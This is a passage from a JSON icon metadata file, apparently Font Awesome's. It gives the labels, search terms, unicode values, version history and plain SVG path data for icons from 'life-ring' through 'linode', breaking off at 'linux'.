        "path": "M395.9 93.7c16.4-6.6 24.4-25.2 17.8-41.6s-25.2-24.4-41.6-17.8l-320 128C40 167.1 32 178.9 32 192s8 24.9 20.1 29.7l320 128c16.4 6.6 35-1.4 41.6-17.8s-1.4-35-17.8-41.6L150.2 192 395.9 93.7zM32 416c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z"
      }
    },
    "free": ["solid"]
  },
  "life-ring": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1cd"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["coast guard", "help", "overboard", "save", "support"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1cd",
    "label": "Life Ring",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767636,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M367.2 412.5C335.9 434.9 297.5 448 256 448s-79.9-13.1-111.2-35.5l58-58c15.8 8.6 34 13.5 53.3 13.5s37.4-4.9 53.3-13.5l58 58zm90.7 .8c33.8-43.4 54-98 54-157.3s-20.2-113.9-54-157.3c9-12.5 7.9-30.1-3.4-41.3S425.8 45 413.3 54C369.9 20.2 315.3 0 256 0S142.1 20.2 98.7 54c-12.5-9-30.1-7.9-41.3 3.4S45 86.2 54 98.7C20.2 142.1 0 196.7 0 256s20.2 113.9 54 157.3c-9 12.5-7.9 30.1 3.4 41.3S86.2 467 98.7 458c43.4 33.8 98 54 157.3 54s113.9-20.2 157.3-54c12.5 9 30.1 7.9 41.3-3.4s12.4-28.8 3.4-41.3zm-45.5-46.1l-58-58c8.6-15.8 13.5-34 13.5-53.3s-4.9-37.4-13.5-53.3l58-58C434.9 176.1 448 214.5 448 256s-13.1 79.9-35.5 111.2zM367.2 99.5l-58 58c-15.8-8.6-34-13.5-53.3-13.5s-37.4 4.9-53.3 13.5l-58-58C176.1 77.1 214.5 64 256 64s79.9 13.1 111.2 35.5zM157.5 309.3l-58 58C77.1 335.9 64 297.5 64 256s13.1-79.9 35.5-111.2l58 58c-8.6 15.8-13.5 34-13.5 53.3s4.9 37.4 13.5 53.3zM208 256a48 48 0 1 1 96 0 48 48 0 1 1 -96 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M367.2 412.5C335.9 434.9 297.5 448 256 448s-79.9-13.1-111.2-35.5l58-58c15.8 8.6 34 13.5 53.3 13.5s37.4-4.9 53.3-13.5l58 58zm90.7 .8c33.8-43.4 54-98 54-157.3s-20.2-113.9-54-157.3c9-12.5 7.9-30.1-3.4-41.3S425.8 45 413.3 54C369.9 20.2 315.3 0 256 0S142.1 20.2 98.7 54c-12.5-9-30.1-7.9-41.3 3.4S45 86.2 54 98.7C20.2 142.1 0 196.7 0 256s20.2 113.9 54 157.3c-9 12.5-7.9 30.1 3.4 41.3S86.2 467 98.7 458c43.4 33.8 98 54 157.3 54s113.9-20.2 157.3-54c12.5 9 30.1 7.9 41.3-3.4s12.4-28.8 3.4-41.3zm-45.5-46.1l-58-58c8.6-15.8 13.5-34 13.5-53.3s-4.9-37.4-13.5-53.3l58-58C434.9 176.1 448 214.5 448 256s-13.1 79.9-35.5 111.2zM367.2 99.5l-58 58c-15.8-8.6-34-13.5-53.3-13.5s-37.4 4.9-53.3 13.5l-58-58C176.1 77.1 214.5 64 256 64s79.9 13.1 111.2 35.5zM157.5 309.3l-58 58C77.1 335.9 64 297.5 64 256s13.1-79.9 35.5-111.2l58 58c-8.6 15.8-13.5 34-13.5 53.3s4.9 37.4 13.5 53.3zM208 256a48 48 0 1 1 96 0 48 48 0 1 1 -96 0z"
      },
      "regular": {
        "last_modified": 1684767636,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M385.1 419.1C349.7 447.2 304.8 464 256 464s-93.7-16.8-129.1-44.9l80.4-80.4c14.3 8.4 31 13.3 48.8 13.3s34.5-4.8 48.8-13.3l80.4 80.4zm68.1 .2C489.9 374.9 512 318.1 512 256s-22.1-118.9-58.8-163.3L465 81c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L419.3 58.8C374.9 22.1 318.1 0 256 0S137.1 22.1 92.7 58.8L81 47c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9L58.8 92.7C22.1 137.1 0 193.9 0 256s22.1 118.9 58.8 163.3L47 431c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l11.8-11.8C137.1 489.9 193.9 512 256 512s118.9-22.1 163.3-58.8L431 465c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-11.8-11.8zm-34.1-34.1l-80.4-80.4c8.4-14.3 13.3-31 13.3-48.8s-4.8-34.5-13.3-48.8l80.4-80.4C447.2 162.3 464 207.2 464 256s-16.8 93.7-44.9 129.1zM385.1 92.9l-80.4 80.4c-14.3-8.4-31-13.3-48.8-13.3s-34.5 4.8-48.8 13.3L126.9 92.9C162.3 64.8 207.2 48 256 48s93.7 16.8 129.1 44.9zM173.3 304.8L92.9 385.1C64.8 349.7 48 304.8 48 256s16.8-93.7 44.9-129.1l80.4 80.4c-8.4 14.3-13.3 31-13.3 48.8s4.8 34.5 13.3 48.8zM208 256a48 48 0 1 1 96 0 48 48 0 1 1 -96 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M385.1 419.1C349.7 447.2 304.8 464 256 464s-93.7-16.8-129.1-44.9l80.4-80.4c14.3 8.4 31 13.3 48.8 13.3s34.5-4.8 48.8-13.3l80.4 80.4zm68.1 .2C489.9 374.9 512 318.1 512 256s-22.1-118.9-58.8-163.3L465 81c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L419.3 58.8C374.9 22.1 318.1 0 256 0S137.1 22.1 92.7 58.8L81 47c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9L58.8 92.7C22.1 137.1 0 193.9 0 256s22.1 118.9 58.8 163.3L47 431c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l11.8-11.8C137.1 489.9 193.9 512 256 512s118.9-22.1 163.3-58.8L431 465c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-11.8-11.8zm-34.1-34.1l-80.4-80.4c8.4-14.3 13.3-31 13.3-48.8s-4.8-34.5-13.3-48.8l80.4-80.4C447.2 162.3 464 207.2 464 256s-16.8 93.7-44.9 129.1zM385.1 92.9l-80.4 80.4c-14.3-8.4-31-13.3-48.8-13.3s-34.5 4.8-48.8 13.3L126.9 92.9C162.3 64.8 207.2 48 256 48s93.7 16.8 129.1 44.9zM173.3 304.8L92.9 385.1C64.8 349.7 48 304.8 48 256s16.8-93.7 44.9-129.1l80.4 80.4c-8.4 14.3-13.3 31-13.3 48.8s4.8 34.5 13.3 48.8zM208 256a48 48 0 1 1 96 0 48 48 0 1 1 -96 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "lightbulb": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4a1"],
        "secondary": ["10f0eb"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.3.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "  comic",
        "  electric",
        "  idea",
        "  innovation",
        "  inspiration",
        "  light",
        "  light bulb",
        " bulb",
        "bulb",
        "comic",
        "electric",
        "energy",
        "idea",
        "inspiration",
        "mechanical"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0eb",
    "label": "Lightbulb",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767444,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M272 384c9.6-31.9 29.5-59.1 49.2-86.2l0 0c5.2-7.1 10.4-14.2 15.4-21.4c19.8-28.5 31.4-63 31.4-100.3C368 78.8 289.2 0 192 0S16 78.8 16 176c0 37.3 11.6 71.9 31.4 100.3c5 7.2 10.2 14.3 15.4 21.4l0 0c19.8 27.1 39.7 54.4 49.2 86.2H272zM192 512c44.2 0 80-35.8 80-80V416H112v16c0 44.2 35.8 80 80 80zM112 176c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-61.9 50.1-112 112-112c8.8 0 16 7.2 16 16s-7.2 16-16 16c-44.2 0-80 35.8-80 80z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M272 384c9.6-31.9 29.5-59.1 49.2-86.2l0 0c5.2-7.1 10.4-14.2 15.4-21.4c19.8-28.5 31.4-63 31.4-100.3C368 78.8 289.2 0 192 0S16 78.8 16 176c0 37.3 11.6 71.9 31.4 100.3c5 7.2 10.2 14.3 15.4 21.4l0 0c19.8 27.1 39.7 54.4 49.2 86.2H272zM192 512c44.2 0 80-35.8 80-80V416H112v16c0 44.2 35.8 80 80 80zM112 176c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-61.9 50.1-112 112-112c8.8 0 16 7.2 16 16s-7.2 16-16 16c-44.2 0-80 35.8-80 80z"
      },
      "regular": {
        "last_modified": 1684767444,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M297.2 248.9C311.6 228.3 320 203.2 320 176c0-70.7-57.3-128-128-128S64 105.3 64 176c0 27.2 8.4 52.3 22.8 72.9c3.7 5.3 8.1 11.3 12.8 17.7l0 0c12.9 17.7 28.3 38.9 39.8 59.8c10.4 19 15.7 38.8 18.3 57.5H109c-2.2-12-5.9-23.7-11.8-34.5c-9.9-18-22.2-34.9-34.5-51.8l0 0 0 0c-5.2-7.1-10.4-14.2-15.4-21.4C27.6 247.9 16 213.3 16 176C16 78.8 94.8 0 192 0s176 78.8 176 176c0 37.3-11.6 71.9-31.4 100.3c-5 7.2-10.2 14.3-15.4 21.4l0 0 0 0c-12.3 16.8-24.6 33.7-34.5 51.8c-5.9 10.8-9.6 22.5-11.8 34.5H226.4c2.6-18.7 7.9-38.6 18.3-57.5c11.5-20.9 26.9-42.1 39.8-59.8l0 0 0 0 0 0c4.7-6.4 9-12.4 12.7-17.7zM192 128c-26.5 0-48 21.5-48 48c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-44.2 35.8-80 80-80c8.8 0 16 7.2 16 16s-7.2 16-16 16zm0 384c-44.2 0-80-35.8-80-80V416H272v16c0 44.2-35.8 80-80 80z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M297.2 248.9C311.6 228.3 320 203.2 320 176c0-70.7-57.3-128-128-128S64 105.3 64 176c0 27.2 8.4 52.3 22.8 72.9c3.7 5.3 8.1 11.3 12.8 17.7l0 0c12.9 17.7 28.3 38.9 39.8 59.8c10.4 19 15.7 38.8 18.3 57.5H109c-2.2-12-5.9-23.7-11.8-34.5c-9.9-18-22.2-34.9-34.5-51.8l0 0 0 0c-5.2-7.1-10.4-14.2-15.4-21.4C27.6 247.9 16 213.3 16 176C16 78.8 94.8 0 192 0s176 78.8 176 176c0 37.3-11.6 71.9-31.4 100.3c-5 7.2-10.2 14.3-15.4 21.4l0 0 0 0c-12.3 16.8-24.6 33.7-34.5 51.8c-5.9 10.8-9.6 22.5-11.8 34.5H226.4c2.6-18.7 7.9-38.6 18.3-57.5c11.5-20.9 26.9-42.1 39.8-59.8l0 0 0 0 0 0c4.7-6.4 9-12.4 12.7-17.7zM192 128c-26.5 0-48 21.5-48 48c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-44.2 35.8-80 80-80c8.8 0 16 7.2 16 16s-7.2 16-16 16zm0 384c-44.2 0-80-35.8-80-80V416H272v16c0 44.2-35.8 80-80 80z"
      }
    },
    "free": ["regular", "solid"]
  },
  "line": {
    "changes": ["5.0.0", "6.3.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3c0",
    "label": "Line",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1672840969,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M311 196.8v81.3c0 2.1-1.6 3.7-3.7 3.7h-13c-1.3 0-2.4-.7-3-1.5l-37.3-50.3v48.2c0 2.1-1.6 3.7-3.7 3.7h-13c-2.1 0-3.7-1.6-3.7-3.7V196.9c0-2.1 1.6-3.7 3.7-3.7h12.9c1.1 0 2.4 .6 3 1.6l37.3 50.3V196.9c0-2.1 1.6-3.7 3.7-3.7h13c2.1-.1 3.8 1.6 3.8 3.5zm-93.7-3.7h-13c-2.1 0-3.7 1.6-3.7 3.7v81.3c0 2.1 1.6 3.7 3.7 3.7h13c2.1 0 3.7-1.6 3.7-3.7V196.8c0-1.9-1.6-3.7-3.7-3.7zm-31.4 68.1H150.3V196.8c0-2.1-1.6-3.7-3.7-3.7h-13c-2.1 0-3.7 1.6-3.7 3.7v81.3c0 1 .3 1.8 1 2.5c.7 .6 1.5 1 2.5 1h52.2c2.1 0 3.7-1.6 3.7-3.7v-13c0-1.9-1.6-3.7-3.5-3.7zm193.7-68.1H327.3c-1.9 0-3.7 1.6-3.7 3.7v81.3c0 1.9 1.6 3.7 3.7 3.7h52.2c2.1 0 3.7-1.6 3.7-3.7V265c0-2.1-1.6-3.7-3.7-3.7H344V247.7h35.5c2.1 0 3.7-1.6 3.7-3.7V230.9c0-2.1-1.6-3.7-3.7-3.7H344V213.5h35.5c2.1 0 3.7-1.6 3.7-3.7v-13c-.1-1.9-1.7-3.7-3.7-3.7zM512 93.4V419.4c-.1 51.2-42.1 92.7-93.4 92.6H92.6C41.4 511.9-.1 469.8 0 418.6V92.6C.1 41.4 42.2-.1 93.4 0H419.4c51.2 .1 92.7 42.1 92.6 93.4zM441.6 233.5c0-83.4-83.7-151.3-186.4-151.3s-186.4 67.9-186.4 151.3c0 74.7 66.3 137.4 155.9 149.3c21.8 4.7 19.3 12.7 14.4 42.1c-.8 4.7-3.8 18.4 16.1 10.1s107.3-63.2 146.5-108.2c27-29.7 39.9-59.8 39.9-93.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M311 196.8v81.3c0 2.1-1.6 3.7-3.7 3.7h-13c-1.3 0-2.4-.7-3-1.5l-37.3-50.3v48.2c0 2.1-1.6 3.7-3.7 3.7h-13c-2.1 0-3.7-1.6-3.7-3.7V196.9c0-2.1 1.6-3.7 3.7-3.7h12.9c1.1 0 2.4 .6 3 1.6l37.3 50.3V196.9c0-2.1 1.6-3.7 3.7-3.7h13c2.1-.1 3.8 1.6 3.8 3.5zm-93.7-3.7h-13c-2.1 0-3.7 1.6-3.7 3.7v81.3c0 2.1 1.6 3.7 3.7 3.7h13c2.1 0 3.7-1.6 3.7-3.7V196.8c0-1.9-1.6-3.7-3.7-3.7zm-31.4 68.1H150.3V196.8c0-2.1-1.6-3.7-3.7-3.7h-13c-2.1 0-3.7 1.6-3.7 3.7v81.3c0 1 .3 1.8 1 2.5c.7 .6 1.5 1 2.5 1h52.2c2.1 0 3.7-1.6 3.7-3.7v-13c0-1.9-1.6-3.7-3.5-3.7zm193.7-68.1H327.3c-1.9 0-3.7 1.6-3.7 3.7v81.3c0 1.9 1.6 3.7 3.7 3.7h52.2c2.1 0 3.7-1.6 3.7-3.7V265c0-2.1-1.6-3.7-3.7-3.7H344V247.7h35.5c2.1 0 3.7-1.6 3.7-3.7V230.9c0-2.1-1.6-3.7-3.7-3.7H344V213.5h35.5c2.1 0 3.7-1.6 3.7-3.7v-13c-.1-1.9-1.7-3.7-3.7-3.7zM512 93.4V419.4c-.1 51.2-42.1 92.7-93.4 92.6H92.6C41.4 511.9-.1 469.8 0 418.6V92.6C.1 41.4 42.2-.1 93.4 0H419.4c51.2 .1 92.7 42.1 92.6 93.4zM441.6 233.5c0-83.4-83.7-151.3-186.4-151.3s-186.4 67.9-186.4 151.3c0 74.7 66.3 137.4 155.9 149.3c21.8 4.7 19.3 12.7 14.4 42.1c-.8 4.7-3.8 18.4 16.1 10.1s107.3-63.2 146.5-108.2c27-29.7 39.9-59.8 39.9-93.1z"
      }
    },
    "free": ["brands"]
  },
  "lines-leaning": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "canted",
        "domino",
        "falling",
        "resilience",
        "resilient",
        "tipped"
      ]
    },
    "styles": ["solid"],
    "unicode": "e51e",
    "label": "Lines Leaning",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M190.4 74.1c5.6-16.8-3.5-34.9-20.2-40.5s-34.9 3.5-40.5 20.2l-128 384c-5.6 16.8 3.5 34.9 20.2 40.5s34.9-3.5 40.5-20.2l128-384zm70.9-41.7c-17.4-2.9-33.9 8.9-36.8 26.3l-64 384c-2.9 17.4 8.9 33.9 26.3 36.8s33.9-8.9 36.8-26.3l64-384c2.9-17.4-8.9-33.9-26.3-36.8zM352 32c-17.7 0-32 14.3-32 32V448c0 17.7 14.3 32 32 32s32-14.3 32-32V64c0-17.7-14.3-32-32-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M190.4 74.1c5.6-16.8-3.5-34.9-20.2-40.5s-34.9 3.5-40.5 20.2l-128 384c-5.6 16.8 3.5 34.9 20.2 40.5s34.9-3.5 40.5-20.2l128-384zm70.9-41.7c-17.4-2.9-33.9 8.9-36.8 26.3l-64 384c-2.9 17.4 8.9 33.9 26.3 36.8s33.9-8.9 36.8-26.3l64-384c2.9-17.4-8.9-33.9-26.3-36.8zM352 32c-17.7 0-32 14.3-32 32V448c0 17.7 14.3 32 32 32s32-14.3 32-32V64c0-17.7-14.3-32-32-32z"
      }
    },
    "free": ["solid"]
  },
  "link": {
    "aliases": {
      "names": ["chain"],
      "unicodes": {
        "composite": ["1f517"],
        "secondary": ["10f0c1"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["attach", "attachment", "chain", "connect", "lin", "link"]
    },
    "styles": ["solid"],
    "unicode": "f0c1",
    "label": "Link",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M579.8 267.7c56.5-56.5 56.5-148 0-204.5c-50-50-128.8-56.5-186.3-15.4l-1.6 1.1c-14.4 10.3-17.7 30.3-7.4 44.6s30.3 17.7 44.6 7.4l1.6-1.1c32.1-22.9 76-19.3 103.8 8.6c31.5 31.5 31.5 82.5 0 114L422.3 334.8c-31.5 31.5-82.5 31.5-114 0c-27.9-27.9-31.5-71.8-8.6-103.8l1.1-1.6c10.3-14.4 6.9-34.4-7.4-44.6s-34.4-6.9-44.6 7.4l-1.1 1.6C206.5 251.2 213 330 263 380c56.5 56.5 148 56.5 204.5 0L579.8 267.7zM60.2 244.3c-56.5 56.5-56.5 148 0 204.5c50 50 128.8 56.5 186.3 15.4l1.6-1.1c14.4-10.3 17.7-30.3 7.4-44.6s-30.3-17.7-44.6-7.4l-1.6 1.1c-32.1 22.9-76 19.3-103.8-8.6C74 372 74 321 105.5 289.5L217.7 177.2c31.5-31.5 82.5-31.5 114 0c27.9 27.9 31.5 71.8 8.6 103.9l-1.1 1.6c-10.3 14.4-6.9 34.4 7.4 44.6s34.4 6.9 44.6-7.4l1.1-1.6C433.5 260.8 427 182 377 132c-56.5-56.5-148-56.5-204.5 0L60.2 244.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M579.8 267.7c56.5-56.5 56.5-148 0-204.5c-50-50-128.8-56.5-186.3-15.4l-1.6 1.1c-14.4 10.3-17.7 30.3-7.4 44.6s30.3 17.7 44.6 7.4l1.6-1.1c32.1-22.9 76-19.3 103.8 8.6c31.5 31.5 31.5 82.5 0 114L422.3 334.8c-31.5 31.5-82.5 31.5-114 0c-27.9-27.9-31.5-71.8-8.6-103.8l1.1-1.6c10.3-14.4 6.9-34.4-7.4-44.6s-34.4-6.9-44.6 7.4l-1.1 1.6C206.5 251.2 213 330 263 380c56.5 56.5 148 56.5 204.5 0L579.8 267.7zM60.2 244.3c-56.5 56.5-56.5 148 0 204.5c50 50 128.8 56.5 186.3 15.4l1.6-1.1c14.4-10.3 17.7-30.3 7.4-44.6s-30.3-17.7-44.6-7.4l-1.6 1.1c-32.1 22.9-76 19.3-103.8-8.6C74 372 74 321 105.5 289.5L217.7 177.2c31.5-31.5 82.5-31.5 114 0c27.9 27.9 31.5 71.8 8.6 103.9l-1.1 1.6c-10.3 14.4-6.9 34.4 7.4 44.6s34.4 6.9 44.6-7.4l1.1-1.6C433.5 260.8 427 182 377 132c-56.5-56.5-148-56.5-204.5 0L60.2 244.3z"
      }
    },
    "free": ["solid"]
  },
  "link-slash": {
    "aliases": {
      "names": ["chain-broken", "chain-slash", "unlink"],
      "unicodes": {
        "secondary": ["10f127"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["attachment", "chain", "chain-broken", "remove"]
    },
    "styles": ["solid"],
    "unicode": "f127",
    "label": "Link Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L489.3 358.2l90.5-90.5c56.5-56.5 56.5-148 0-204.5c-50-50-128.8-56.5-186.3-15.4l-1.6 1.1c-14.4 10.3-17.7 30.3-7.4 44.6s30.3 17.7 44.6 7.4l1.6-1.1c32.1-22.9 76-19.3 103.8 8.6c31.5 31.5 31.5 82.5 0 114l-96 96-31.9-25C430.9 239.6 420.1 175.1 377 132c-52.2-52.3-134.5-56.2-191.3-11.7L38.8 5.1zM239 162c30.1-14.9 67.7-9.9 92.8 15.3c20 20 27.5 48.3 21.7 74.5L239 162zM406.6 416.4L220.9 270c-2.1 39.8 12.2 80.1 42.2 110c38.9 38.9 94.4 51 143.6 36.3zm-290-228.5L60.2 244.3c-56.5 56.5-56.5 148 0 204.5c50 50 128.8 56.5 186.3 15.4l1.6-1.1c14.4-10.3 17.7-30.3 7.4-44.6s-30.3-17.7-44.6-7.4l-1.6 1.1c-32.1 22.9-76 19.3-103.8-8.6C74 372 74 321 105.5 289.5l61.8-61.8-50.6-39.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M38.8 5.1C28.4-3.1 13.3-1.2 5.1 9.2S-1.2 34.7 9.2 42.9l592 464c10.4 8.2 25.5 6.3 33.7-4.1s6.3-25.5-4.1-33.7L489.3 358.2l90.5-90.5c56.5-56.5 56.5-148 0-204.5c-50-50-128.8-56.5-186.3-15.4l-1.6 1.1c-14.4 10.3-17.7 30.3-7.4 44.6s30.3 17.7 44.6 7.4l1.6-1.1c32.1-22.9 76-19.3 103.8 8.6c31.5 31.5 31.5 82.5 0 114l-96 96-31.9-25C430.9 239.6 420.1 175.1 377 132c-52.2-52.3-134.5-56.2-191.3-11.7L38.8 5.1zM239 162c30.1-14.9 67.7-9.9 92.8 15.3c20 20 27.5 48.3 21.7 74.5L239 162zM406.6 416.4L220.9 270c-2.1 39.8 12.2 80.1 42.2 110c38.9 38.9 94.4 51 143.6 36.3zm-290-228.5L60.2 244.3c-56.5 56.5-56.5 148 0 204.5c50 50 128.8 56.5 186.3 15.4l1.6-1.1c14.4-10.3 17.7-30.3 7.4-44.6s-30.3-17.7-44.6-7.4l-1.6 1.1c-32.1 22.9-76 19.3-103.8-8.6C74 372 74 321 105.5 289.5l61.8-61.8-50.6-39.9z"
      }
    },
    "free": ["solid"]
  },
  "linkedin": {
    "changes": ["1.0.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["linkedin-square"]
    },
    "styles": ["brands"],
    "unicode": "f08c",
    "label": "LinkedIn",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3zM135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5zm282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9V416z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3zM135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5zm282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9V416z"
      }
    },
    "free": ["brands"]
  },
  "linkedin-in": {
    "changes": ["2.0.0", "5.0.0", "5.4.1", "5.8.0", "5.8.1"],
    "ligatures": [],
    "search": {
      "terms": ["linkedin"]
    },
    "styles": ["brands"],
    "unicode": "f0e1",
    "label": "LinkedIn In",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M100.28 448H7.4V148.9h92.88zM53.79 108.1C24.09 108.1 0 83.5 0 53.8a53.79 53.79 0 0 1 107.58 0c0 29.7-24.1 54.3-53.79 54.3zM447.9 448h-92.68V302.4c0-34.7-.7-79.2-48.29-79.2-48.29 0-55.69 37.7-55.69 76.7V448h-92.78V148.9h89.08v40.8h1.3c12.4-23.5 42.69-48.3 87.88-48.3 94 0 111.28 61.9 111.28 142.3V448z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M100.28 448H7.4V148.9h92.88zM53.79 108.1C24.09 108.1 0 83.5 0 53.8a53.79 53.79 0 0 1 107.58 0c0 29.7-24.1 54.3-53.79 54.3zM447.9 448h-92.68V302.4c0-34.7-.7-79.2-48.29-79.2-48.29 0-55.69 37.7-55.69 76.7V448h-92.78V148.9h89.08v40.8h1.3c12.4-23.5 42.69-48.3 87.88-48.3 94 0 111.28 61.9 111.28 142.3V448z"
      }
    },
    "free": ["brands"]
  },
  "linode": {
    "changes": ["4.7.0", "5.0.0", "6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2b8",
    "label": "Linode",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M366.036,186.867l-59.5,36.871-.838,36.871-29.329-19.273-39.384,24.3c2.238,55.211,2.483,59.271,2.51,59.5l-97.2,65.359L127.214,285.748l108.1-62.01L195.09,197.761l-75.417,38.547L98.723,93.015,227.771,43.574,136.432,0,10.737,39.385,38.39,174.3l41.9,32.681L48.445,222.062,69.394,323.457,98.723,351.11,77.774,363.679l16.76,78.769L160.733,512c-10.8-74.842-11.658-78.641-11.725-78.773l77.925-55.3c16.759-12.57,15.083-10.894,15.083-10.894l.838,24.3,33.519,28.491-.838-77.093,46.927-33.519,26.815-18.435-2.514,36.033,25.139,17.6,6.7-74.579,58.657-43.575Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M366.036,186.867l-59.5,36.871-.838,36.871-29.329-19.273-39.384,24.3c2.238,55.211,2.483,59.271,2.51,59.5l-97.2,65.359L127.214,285.748l108.1-62.01L195.09,197.761l-75.417,38.547L98.723,93.015,227.771,43.574,136.432,0,10.737,39.385,38.39,174.3l41.9,32.681L48.445,222.062,69.394,323.457,98.723,351.11,77.774,363.679l16.76,78.769L160.733,512c-10.8-74.842-11.658-78.641-11.725-78.773l77.925-55.3c16.759-12.57,15.083-10.894,15.083-10.894l.838,24.3,33.519,28.491-.838-77.093,46.927-33.519,26.815-18.435-2.514,36.033,25.139,17.6,6.7-74.579,58.657-43.575Z"
      }
    },
    "free": ["brands"]
  },
  "linux": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["tux"]
